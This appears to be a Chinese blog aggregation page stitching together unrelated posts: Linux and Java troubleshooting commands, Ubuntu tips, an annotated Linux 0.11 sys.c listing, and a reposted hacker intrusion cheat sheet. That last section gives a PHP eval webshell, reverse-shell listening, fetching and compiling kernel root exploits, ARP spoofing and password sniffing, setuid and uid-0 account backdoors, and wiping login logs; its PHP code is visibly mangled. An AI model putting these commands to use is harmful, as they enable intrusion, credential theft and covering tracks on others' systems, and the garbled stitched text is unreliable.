    java      25211          sre  294u     IPv6         1855870096        0t0        TCP CDVM-213017031:54030->10.209.19.143:10117 (ESTABLISHED)

    当程序报too many open files 异常时,可以使用它查看是什么进程打开了太多的文件,主要查看是不是文件(包括网络链接)打开后是不是没有关闭,我之前的一个项目,就遇到了这种问题。

  • ulimit 用来限制系统用户对shell资源的访问。支持以下各种类型的限制:所创建的内核文件的大小、进程数据块的大小、Shell 进程创建文件的大小、内存锁住的大小、常驻内存集的大小、打开文件描述符的数量、分配堆栈的最大大小、CPU 时间、单个用户的最大线程数、Shell 进程所能使用的最大虚拟内存。同时,它支持硬资源和软资源的限制。
    常用选项:

    -a:显示目前资源限制的设定
    -n <文件数目>:指定同一时间最多可开启的文件数
    -u <程序数目>:用户最多可开启的程序数目

    示例:

    [sre@CDVM-213017031 ~]$ ulimit -a
    core file size          (blocks, -c) 0
    data seg size           (kbytes, -d) unlimited
    scheduling priority             (-e) 0
    file size               (blocks, -f) unlimited
    pending signals                 (-i) 31517
    max locked memory       (kbytes, -l) 64
    max memory size         (kbytes, -m) unlimited
    open files                      (-n) 409600
    pipe size            (512 bytes, -p) 8
    POSIX message queues     (bytes, -q) 819200
    real-time priority              (-r) 0
    stack size              (kbytes, -s) 10240
    cpu time               (seconds, -t) unlimited
    max user processes              (-u) 65535
    virtual memory          (kbytes, -v) unlimited
    file locks                      (-x) unlimited
  • vmstat 显示虚拟内存状态(“Viryual Memor Statics”),但是它可以报告关于进程、内存、I/O等系统整体运行状态。
    常用选项:

    -a:显示活动内页
    -f:显示启动后创建的进程总数
    -m:显示slab信息 
    -n:头信息仅显示一次
    -s:以表格方式显示事件计数器和内存状态
    -d:报告磁盘状态
    -p:显示指定的硬盘分区状态
    -S:输出信息的单位。

    示例:

    [sre@CDVM-213017031 ~]$ vmstat 2
    procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----
    r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
    0  0      0 126316 114292 736992    0    0     1     4    0    0  1  1 98  0  0
    1  0      0 126432 114292 736992    0    0     0     0 2289 4432  2  1 97  0  0
    0  0      0 126480 114292 736992    0    0     0     0 2572 5132  2  1 97  0  0
  • iostat 监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。
    常用选项:
    -c:仅显示CPU使用情况
    -d:仅显示设备利用率
    -k:显示状态以千字节每秒为单位,而不使用块每秒
    -m:显示状态以兆字节每秒为单位
    -x:显示扩展状态
    示例:
[sre@CDVM-213017031 ~]$ iostat -x 1 2
Linux 2.6.32-431.el6.x86_64 (CDVM-213017031)     05/08/2017     _x86_64_    (4 CPU)

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           0.94    0.00    0.53    0.10    0.02   98.41

Device:         rrqm/s   wrqm/s     r/s     w/s   rsec/s   wsec/s avgrq-sz avgqu-sz   await  svctm  %util
vda               0.01     2.69    0.11    1.30     9.02    32.13    29.09     0.05   34.90   5.07   0.72

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           2.77    0.00    2.27    0.00    0.25   94.71

Device:         rrqm/s   wrqm/s     r/s     w/s   rsec/s   wsec/s avgrq-sz avgqu-sz   await  svctm  %util
vda               0.00     1.00    0.00    3.00     0.00    32.00    10.67     0.01    4.00   1.33   0.40

Java常用工具

  • java 可用来执行jar包。
    示例:
    java -jar test.jar
  • jps jps是jdk提供的一个查看当前Java进程的小工具, 可以看做是JavaVirtual Machine Process Status Tool的缩写。非常简单实用。
    常用选项:
    -l:输出完全的包名,应用主类名,jar的完全路径名 
    -v:输出jvm参数
    示例:
    [sre@CDVM-213017031 ~]$ jps -l
    402 org.apache.flume.node.Application
    13466 sun.tools.jps.Jps
    11538 com.wanda.monitor.server.MonitorStartup
    25211 org.apache.catalina.startup.Bootstrap
  • jmap 打印出某个java进程内存中所有‘对象’的情况。
    常用选项:
    -dump:[live,]format=b,file=<filename> 使用hprof二进制形式,输出jvm的heap内容到文件=. live子选项是可选的,假如指定live选项,那么只输出活的对象到文件. 
    -heap 打印heap的概要信息,GC使用的算法,heap的配置及wise heap的使用情况.
    -histo[:live] 打印每个class的实例数目,内存占用,类全名信息. VM的内部类名字开头会加上前缀”*”. 如果live子参数加上后,只统计活的对象数量.
    示例1,查看进程内存信息:
[sre@CDVM-213017031 ~]$ jmap -heap 25211
Attaching to process ID 25211, please wait...
Debugger attached successfully.
Server compiler detected.
JVM version is 24.65-b04

using parallel threads in the new generation.
using thread-local object allocation.
Concurrent Mark-Sweep GC

Heap Configuration:
   MinHeapFreeRatio = 40
   MaxHeapFreeRatio = 70
   MaxHeapSize      = 2147483648 (2048.0MB)
   NewSize          = 348913664 (332.75MB)
   MaxNewSize       = 348913664 (332.75MB)
   OldSize          = 697892864 (665.5625MB)
   NewRatio         = 2
   SurvivorRatio    = 8
...

示例2,查看包com.wanda中的类创建的对象占用内存信息:

[sre@CDVM-213017031 ~]$ jmap -histo 25211 | grep "com.wanda" | head -5
num     #instances         #bytes  class name
----------------------------------------------
  46:          4167         500040  com.wanda.arch.owl.domain.monitorelement.MIndicator
  63:          8192         327680  com.wanda.fix.org.jboss.netty.util.internal.ConcurrentIdentityHashMap$Segment
  73:          8192         262192  [Lcom.wanda.fix.org.jboss.netty.util.internal.ConcurrentIdentityHashMap$HashEntry;
 102:          1428         148512  com.wanda.arch.owl.domain.monitorelement.LComponent
 138:          2048          98304  com.wanda.fix.org.jboss.netty.util.internal.ConcurrentIdentityHashMap
  • jstat Jstat用于监控基于HotSpot的JVM,对其堆的使用情况进行实时的命令行的统计,使用jstat我们可以对指定的JVM做如下监控:
    类的加载及卸载情况,查看新生代、老生代及持久代的容量及使用情况,查看新生代、老生代及持久代的垃圾收集情况,包括垃圾回收的次数及垃圾回收所占用的时间,查看新生代中Eden区及Survior区中容量及分配情况等。
    常用选项:
    -gcutil 用于查看新生代、老生代及持代垃圾收集的情况
    -class 用于查看类加载情况的统计
    示例:
[sre@CDVM-213017031 ~]$ jstat -gcutil 25211 5000 2
  S0     S1     E      O      P     YGC     YGCT    FGC    FGCT     GCT
  0.00   4.82  82.82  58.15  60.00 197263 2435.605    72    1.186 2436.791
  5.36   0.00  28.22  58.16  60.00 197264 2435.620    72    1.186 2436.806

说明:
S0    Heap上的 Survivor space 0 区已使用空间的百分比
S1    Heap上的 Survivor space 1 区已使用空间的百分比
E    Heap上的 Eden space 区已使用空间的百分比
O    Heap上的 Old space 区已使用空间的百分比
P    Perm space 区已使用空间的百分比
YGC    从应用程序启动到采样时发生 Young GC 的次数
YGCT    从应用程序启动到采样时 Young GC 所用的时间(单位秒)
FGC    从应用程序启动到采样时发生 Full GC 的次数
FGCT    从应用程序启动到采样时 Full GC 所用的时间(单位秒)
GCT    从应用程序启动到采样时用于垃圾回收的总时间(单位秒),它的值等于YGC+FGC
  • jstack 用于打印出给定的java进程ID或core file或远程调试服务的Java堆栈信息。
    示例:
jstack 25211 > 25211.txt  将当前堆栈信息输出到文件。

以上就是我常用的Linux命令,可能有一些常用的一时没有想到,等到想到时再补充进来吧。
另外,文中 Java常用工具 中提到的几个命令,尤其重要,尤其常用,特别是当你的程序上线以后,它能方便而快速的帮你定位问题,解决问题。

2013-06-30 11:36:18 u010726166 阅读数 401

1.设置root密码

    sudo passwd root

2.无线图标消失
    sudo vi /etc/NetworkManager/Network...conf
    false -> true
    sudo service network-manager restart

3.宽带连接
   sudo pppoeconf
   pon dsl-provider

4.运行bochs
   ../Bochs/bin/bochs -q -f bochsrc-hdboot.bxrc

5.进入二进制
   vi -b ***   :%!xxd

6.退出二进制
   :%!xxd -r

7.复制镜像
   dd bs=8192 if=Image of=/dev/fd0

8.复制文件
    格式化盘
    mformat b:
    mcopy hello.c b:
    mdir b:


9.挂载软盘镜像
   mount -t minix rootimage-0.11 /mnt -o loop

10.挂载硬盘镜像
   losetup /dev/loop1 img
   fdisk /dev/loop1
   x p q
   losetup -d /dev/loop1
   losetup -o 512*x /dev/loop1 img
   mount -t minix /dev/loop1 /mnt


   

2017-12-08 17:40:07 RunInProgram 阅读数 1143

声明:

参考《linux内核完全剖析基于linux0.11》--赵炯    节选

sys.c 程序

1.功能描述

       sys.c程序主要包含有很多系统调用功能的实现函数。其中,若返回值为 -ENOSYS ,则表示本版的Linux 还没有实现该功能,可以参考目前的代码来了解它们的实现方法。所有系统调用的功能说明请参见头文件 include/linux/sys.h 。

       该程序中含有很多有关进程ID、进程组ID、用户ID、用户组ID、实际用户ID、有效用户ID以及会话ID(session )等的操作函数。下面首先对这些 ID 作一说明。

       一个用户有用户ID(uid)和用户组ID(gid)。这两个ID是passwd文件中对该用户设置的ID,通常被称为实际用户ID(ruid)和实际组ID(rgid)。而在每个文件的i节点信息中都保存着宿主的用户 ID和组 ID ,它们指明了文件拥有者和所属用户组。主要用于访问或执行文件时的权限判别操作。另外,在一个进程的任务数据结构中,为了实现不同功能而保存了 3 种用户 ID 和组 ID 。见下表所示。

表 1 与进程相关的用户 ID 和组 ID



       保存的用户 ID ( suid )和保存的组 ID ( sgid )用于进程访问设置了 set-user-ID 或 set-group-ID 标志的文件。当执行一个程序时,进程的 euid 通常就是实际用户 ID , egid 通常就是实际组 ID 。因此进程只能访问进程的有效用户、有效用户组规定的文件或其它允许访问的文件。但是如果一个文件的 set-user-ID标志置位时,那么进程的有效用户 ID 就会被设置成该文件宿主的用户 ID ,因此进程就可以访问设置了这种标志的受限文件,同时该文件宿主的用户 ID 被保存在 suid 中。同理,文件的 set-group-ID 标志也有类似的作用并作相同的处理。       进程的 uid 和 gid 分别就是进程拥有者的用户 ID 和组 ID ,也即实际用户 ID ( ruid )和实际组 ID ( rgid )。超级用户可以使用 set_uid() 和 set_gid() 对它们进行修改。有效用户 ID 和有效组 ID 用于进程访问文件时的许可权判断。

例如,如果一个程序的宿主是超级用户,但该程序设置了 set-user-ID 标志,那么当该程序被一个进程运行时,则该进程的有效用户 ID ( euid )就会被设置成超级用户的 ID ( 0 )。于是这个进程就拥有了超级用户的权限。一个实际例子就是 Linux 系统的 passwd 命令。该命令是一个设置了 set-user-Id 的程序,

因此允许用户修改自己的口令。因为该程序需要把用户的新口令写入 /etc/passwd 文件中,而该文件只有超级用户才有写权限,因此 passwd 程序就需要使用 set-user-ID 标志。

       另外,进程也有标识自己属性的进程 ID ( pid )、所属进程组的进程组 ID ( pgrp 或 pgid )和所属会话的会话 ID ( session )。这 3 个 ID 用于表明进程与进程之间的关系,与用户 ID 和组 ID 无关。

2.代码注释

linux/kernel/sys.c 程序
/*
* linux/kernel/sys.c
*
* (C) 1991 Linus Torvalds
*/

include <errno.h> // 错误号头文件。包含系统中各种出错号。(Linus 从 minix 中引进的)。

include <linux/sched.h> // 调度程序头文件,定义了任务结构 task_struct、初始任务 0 的数据,
// 还有一些有关描述符参数设置和获取的嵌入式汇编函数宏语句。
#include <linux/tty.h> // tty 头文件,定义了有关 tty_io,串行通信方面的参数、常数。
#include <linux/kernel.h> // 内核头文件。含有一些内核常用函数的原形定义。
#include <asm/segment.h> // 段操作头文件。定义了有关段寄存器操作的嵌入式汇编函数。
#include <sys/times.h> // 定义了进程中运行时间的结构 tms 以及 times()函数原型。
#include <sys/utsname.h> // 系统名称结构头文件。

// 返回日期和时间。
int sys_ftime()
{
	return -ENOSYS;
}

//
int sys_break()
{
	return -ENOSYS;
}

// 用于当前进程对子进程进行调试(degugging)。
int sys_ptrace()
{
	return -ENOSYS;
}

// 改变并打印终端行设置。
int sys_stty()
{
	return -ENOSYS;
}

// 取终端行设置信息。
int sys_gtty()
{
	return -ENOSYS;
}

// 修改文件名。
int sys_rename()
{
	return -ENOSYS;
}

//
int sys_prof()
{
	return -ENOSYS;
}

// 设置当前任务的实际以及/或者有效组 ID(gid)。如果任务没有超级用户特权,
// 那么只能互换其实际组 ID 和有效组 ID。如果任务具有超级用户特权,就能任意设置有效的和实际
// 的组 ID。保留的 gid(saved gid)被设置成与有效 gid 同值。
int sys_setregid(int rgid, int egid)
{
	if (rgid>0) {
		if ((current->gid == rgid) || suser())
			current->gid = rgid;
		else
			return(-EPERM);
	}
	if (egid>0) {
		if ((current->gid == egid) ||
			(current->egid == egid) ||
			(current->sgid == egid) ||
			suser())
			current->egid = egid;
		else
			return(-EPERM);
	}	
	return 0;
}

// 设置进程组号(gid)。如果任务没有超级用户特权,它可以使用 setgid()将其有效 gid
// (effective gid)设置为成其保留 gid(saved gid)或其实际 gid(real gid)。如果任务有
// 超级用户特权,则实际 gid、有效 gid 和保留 gid 都被设置成参数指定的 gid。
int sys_setgid(int gid)
{
	return(sys_setregid(gid, gid));
}

// 打开或关闭进程计帐功能。
int sys_acct()
{
	return -ENOSYS;
}

// 映射任意物理内存到进程的虚拟地址空间。
int sys_phys()
{
	return -ENOSYS;
}

int sys_lock()
{
	return -ENOSYS;
}

int sys_mpx()
{
	return -ENOSYS;
}

int sys_ulimit()
{
	return -ENOSYS;
 }

// 返回从 1970 年 1 月 1 日 00:00:00 GMT 开始计时的时间值(秒)。如果 tloc 不为 null,则时间值
// 也存储在那里。
 int sys_time(long * tloc)
 {
	 int i;

	 i = CURRENT_TIME;
	 if (tloc) {
		 verify_area(tloc,4); // 验证内存容量是否够(这里是 4 字节)。
		 put_fs_long(i,(unsigned long *)tloc); // 也放入用户数据段 tloc 处。
	 }
	 return i;
 }

  /*
  * Unprivileged users may change the real user id to the effective uid
  * or vice versa.
  */
/*
* 无特权的用户可以见实际用户标识符(real uid)改成有效用户标识符(effective uid),反之也然。
*/
// 设置任务的实际以及/或者有效用户 ID(uid)。如果任务没有超级用户特权,那么只能互换其
// 实际用户 ID 和有效用户 ID。如果任务具有超级用户特权,就能任意设置有效的和实际的用户 ID。
// 保留的 uid(saved uid)被设置成与有效 uid 同值。
 int sys_setreuid(int ruid, int euid)
 {
	 int old_ruid = current->uid;

	 if (ruid>0) {
		 if ((current->euid==ruid) ||
			(old_ruid == ruid) ||
			suser())
			current->uid = ruid;
		 else
			return(-EPERM);
	 }
	 if (euid>0) {
		 if ((old_ruid == euid) ||
		 (current->euid == euid) ||
		 suser())
			current->euid = euid;
		 else {
			current->uid = old_ruid;
			return(-EPERM);
		 }
	 }
	 return 0;
 }

// 设置任务用户号(uid)。如果任务没有超级用户特权,它可以使用 setuid()将其有效 uid
// (effective uid)设置成其保留 uid(saved uid)或其实际 uid(real uid)。如果任务有
// 超级用户特权,则实际 uid、有效 uid 和保留 uid 都被设置成参数指定的 uid。
 int sys_setuid(int uid)
 {
	return(sys_setreuid(uid, uid));
 }

// 设置系统时间和日期。参数 tptr 是从 1970 年 1 月 1 日 00:00:00 GMT 开始计时的时间值(秒)。
// 调用进程必须具有超级用户权限。
 int sys_stime(long * tptr)
 {
	 if (!suser()) // 如果不是超级用户则出错返回(许可)。
		return -EPERM;
	 startup_time = get_fs_long((unsigned long *)tptr) - jiffies/HZ;
	 return 0;
 }

// 获取当前任务时间。tms 结构中包括用户时间、系统时间、子进程用户时间、子进程系统时间。
 int sys_times(struct tms * tbuf)
 {
	 if (tbuf) {
		 verify_area(tbuf,sizeof *tbuf);
		 put_fs_long(current->utime,(unsigned long *)&tbuf->tms_utime);
		 put_fs_long(current->stime,(unsigned long *)&tbuf->tms_stime);
		 put_fs_long(current->cutime,(unsigned long *)&tbuf->tms_cutime);
		 put_fs_long(current->cstime,(unsigned long *)&tbuf->tms_cstime);
	 }
	 return jiffies;
 }

// 当参数 end_data_seg 数值合理,并且系统确实有足够的内存,而且进程没有超越其最大数据段大小
// 时,该函数设置数据段末尾为 end_data_seg 指定的值。该值必须大于代码结尾并且要小于堆栈
// 结尾 16KB。返回值是数据段的新结尾值(如果返回值与要求值不同,则表明有错发生)。
// 该函数并不被用户直接调用,而由 libc 库函数进行包装,并且返回值也不一样。
 int sys_brk(unsigned long end_data_seg)
 {
	 if (end_data_seg >= current->end_code && // 如果参数>代码结尾,并且
	 end_data_seg < current->start_stack - 16384) // 小于堆栈-16KB,
		current->brk = end_data_seg; // 则设置新数据段结尾值。
	 return current->brk; // 返回进程当前的数据段结尾值。
 }

  /*
  * This needs some heave checking ...
  * I just haven't get the stomach for it. I also don't fully
  * understand sessions/pgrp etc. Let somebody who does explain it.
  */
/*
* 下面代码需要某些严格的检查…
* 我只是没有胃口来做这些。我也不完全明白 sessions/pgrp 等。还是让了解它们的人来做吧。
*/
// 设置进程的进程组 ID 为 pgid。
// 如果参数 pid=0,则使用当前进程号。如果 pgid 为 0,则使用参数 pid 指定的进程的组 ID 作为
// pgid。如果该函数用于将进程从一个进程组移到另一个进程组,则这两个进程组必须属于同一个
// 会话(session)。在这种情况下,参数 pgid 指定了要加入的现有进程组 ID,此时该组的会话 ID
// 必须与将要加入进程的相同(193 行)。
 int sys_setpgid(int pid, int pgid)
 {
	 int i;

	 if (!pid) // 如果参数 pid=0,则使用当前进程号。
		pid = current->pid;
	 if (!pgid) // 如果 pgid 为 0,则使用当前进程 pid 作为 pgid。
		pgid = current->pid; // [??这里与 POSIX 的描述有出入]
	 for (i=0 ; i<NR_TASKS ; i++) // 扫描任务数组,查找指定进程号的任务。
		if (task[i] && task[i]->pid==pid) {
			if (task[i]->leader) // 如果该任务已经是首领,则出错返回。
				return -EPERM;
			if (task[i]->session != current->session) // 如果该任务的会话 ID
				return -EPERM; // 与当前进程的不同,则出错返回。
			task[i]->pgrp = pgid; // 设置该任务的 pgrp。
			return 0;
	 }
	 return -ESRCH;
 }

// 返回当前进程的组号。与 getpgid(0)等同。
 int sys_getpgrp(void)
 {
	return current->pgrp;
 }

// 创建一个会话(session)(即设置其 leader=1),并且设置其会话号=其组号=其进程号。
// setsid -- SET Session ID。
 int sys_setsid(void)
 {
	 if (current->leader && !suser()) // 如果当前进程已是会话首领并且不是超级用户
		return -EPERM; // 则出错返回。
	 current->leader = 1; // 设置当前进程为新会话首领。
	 current->session = current->pgrp = current->pid; // 设置本进程 session = pid。
	 current->tty = -1; // 表示当前进程没有控制终端。
	 return current->pgrp; // 返回会话 ID。
 }

// 获取系统信息。其中 utsname 结构包含 5 个字段,分别是:本版本操作系统的名称、网络节点名称、
// 当前发行级别、版本级别和硬件类型名称。
 int sys_uname(struct utsname * name)
 {
	 static struct utsname thisname = { // 这里给出了结构中的信息,这种编码肯定会改变。
	 "linux .0" , "nodename" , "release " , "version " , "machine "
	 };
	 int i;

	 if (!name) return -ERROR; // 如果存放信息的缓冲区指针为空则出错返回。
		verify_area(name,sizeof *name); // 验证缓冲区大小是否超限(超出已分配的内存等)。
	 for(i=0;i<sizeof *name;i++) // 将 utsname 中的信息逐字节复制到用户缓冲区中。
		put_fs_byte(((char *) &thisname)[i],i+(char *) name);
	 return 0;
 }

// 设置当前进程创建文件属性屏蔽码为 mask & 0777。并返回原屏蔽码。
 int sys_umask(int mask)
 {
	 int old = current->umask;

	 current->umask = mask & 0777;
	 return (old);
 }


2018-09-21 09:20:02 weixin_41909810 阅读数 2665

黑客常用 Linux 入侵常用命令
2018年02月10日 10:49:33 坦GA 阅读数:2675 标签: 黑客常用 Linux 入侵常用命令 更多
个人分类: Linux初级/Linux高级/系统运维 安全技术/黑客技术
原文地址:http://blog.csdn.net/jHstGeWWubw/article/details/78941387

写个php一句话后门上去:

[jobcruit@wa64-054 rankup_log]$ echo -e “<?php @eval(\$_POST[md5])?>” >rankuplog_time.php

[jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php

1、linux的想着先跨站

shell浏览目标站不行,命令行下输入:

ls -la /www.users/

2、溢出提权

python –c ‘import pty;pty.spawn(“/bin/sh”);

来得到交互的Shell,一般的系统都默认安装python

输入id

bash-3.2$ id

uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)

bash-3.2$

这里uid=529(zeicom)还不是root权限,

输入uname –r

返回:2.6.18-164.11.1.el5PAE

Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出

找对应的exp, 这里地址整理很齐全可以这里下

http://tools.90sec.org/

http://sebug.net/paper/linux_exp/

http://x73.cc/bitch/exp/

http://www.exploit-db.com/search/

命令输入pwd,这个命令是显示当前目录,

先看能不能编译 gcc -help

当前目录就是shell的目录,我在shell上传2.c

反弹shell 到外网自己机器的12345端口

上外网服务器 本地监听 nc -lvvp 12345

一般都能得到一个apache交互的shell 有时候又不行

这时候

python -c ‘import pty;pty.spawn("/bin/sh");’

cd /tmp 进入tmp目录

mkdir Papers 创建一个Papers的目录 Papers不显眼

cd Papers 进入 Papers目录

pwd 查看当前目录

然后命令输入

wget 下载exp

gcc –o 2 2.c //把2.c编译成可执行文件 g++ keio.cc -o keio

chmod +x 2 //给2有执行权限

./2 //执行2, 溢出

gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

确定arpsniffer.c需要先装pcap和 libnet。

rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm

wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0

tar zxvf libpcap-0.8.1.tar.gz

cd libpcap-0.8.1

./configure

make

make install

重新编译arpsniffer.c

gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

这次没报错,编译成功。

./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254

下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)

./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110

在另一个登录里面用tcpdump监听下

tcpdump -i eth0 host 192.168.0.11

发现有数据,把监听的数据存在文件里面:

tcpdump -i eth0 host 172.16.0.12 -w pop.txt

10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。

下面我们就可以用linsniffer监听我们想要的用户名和密码了。

先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==80) p=1; /* http */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

[root@bbs111 root]# gcc -o linsniffer linsniffer.c

In file included from /usr/include/linux/tcp.h:21,

from linsniffer.c:32:

/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!

不用管警告,直接运行编译后的linsniffer即可。

[root@bbs111 root]# ./linsniffer

用户名和密码都自动存到了tcp.log下。

3、利用跨站代码

linux不提权跨目录访问的代码

linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。

在提不了权的情况下,试试如下代码吧。运气好的话说不定就跨过去了。

代码如下:

path=stripslashes(path = stripslashes(_GET[‘path’]);

ok=chmod(ok = chmod (path , 0777);

if ($ok == true)

echo CHMOD OK , Permission editable file or directory. Permission to write;

?>

把上面代码保存为tmdsb.PHP

然后访问http://www.tmdsb.com/tmdsb.php?path=…/…/要跨的目录/index.php

这里的index.PHP是要修改权限的文件。

收集的另一个exp:

把下面的代码保存为exp.PHP

代码:

@filename=stripslashes(filename = stripslashes(_POST[‘filename’]);

@mess=stripslashes(mess = stripslashes(_POST[‘mess’]);

KaTeX parse error: Expected '}', got 'EOF' at end of input: fp = @fopen({_POST[‘filename’]}, ‘a’);

@fputs(fp,fp,mess

);

@fclose($fp);

?>

4.2.618最终Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)这个0day溢出成功

udev提权

换了个udev提权,适用于内核范围为2.6.*。

还是上传文件至服务器shell所在目录,执行命令ls,发现文件已经躺在那里面了,之后赋予exp执行权限。

chmod +x pwnkernel.c

chmod +x wunderbar_emporium.sh

chmod +x exploit.c

之后执行溢出./w*

成功溢出,root权限。

之后就是留下一个后门~ 添加一个root权限用户俺也不介意。。。(useradd -u 0 -o “username”)

依次输入命令

cd /tmp

sh-3.1# ls /lib/ld-linux*

/lib/ld-linux.so.2

sh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1ven

sh-3.1# ls -l .str1ven

-rwxr-xr-x 1 root root 121684 07-08 21:13 .str1ven

sh-3.1# chmod +s .str1ven

sh-3.1# ls -l .str1ven

-rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven

成功建立一个后门,退出root,执行./.str1ven which whoami,又成功获取root权限~~

cat /etc/passwd 查看linux用户

cat /etc/shadow 查看用户密码需要root权限

cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息

ifconfig 查看本机ip信息

cat /etc/resolv.conf 查看DNS信息

bash -i 在反弹的shell中使用可以直观显示命令

bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以

Root登陆时,你的prompt会变成bash#。

系统变量 : 试着echo “$USER / $EUID” 系统应该会告诉你它认为你是什么用户。

echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,

vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!

netstat -an |grep LISTEN |grep :80 查看端口

service --status-all | grep running

service --status-all | grep http

查看运行服务

lsb_release -a 查看系统版本

重启ssh服务 :

/usr/sbin/sshd stop/

usr/sbin/sshd start

ssd_config文件里

PasswordAuthentication no,

将其改为

PasswordAuthentication yes

远程ssh才可登录

否则显示Access denied

其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.

su的菜鸟用法

先chomod 777 /etc/passwd

然后修改bin用户的gid和uid为0

然后passwd设置bin的密码

然后cp /bin/bash /sbin/nologin

然后su的时候su - bin就可以到rootshell了。

这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码的一种很菜鸟的做法。

还可以这样

sed -i s/bin❌1:1/bin❌0:1/g /etc/passwd

gcc prtcl2.c –o local –static –Wall

echo “nosec❌0:0:?:/bin/sh” >> /etc/passwd

echo “nosec:?-1?-1?-1:500” >> /etc/shadow

清空last记录 cp /dev/null /var/log/wtmp


dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的

/etc/init.d/ssh start 开22端口

/etc/ssh/sshd_config SSH服务配置文件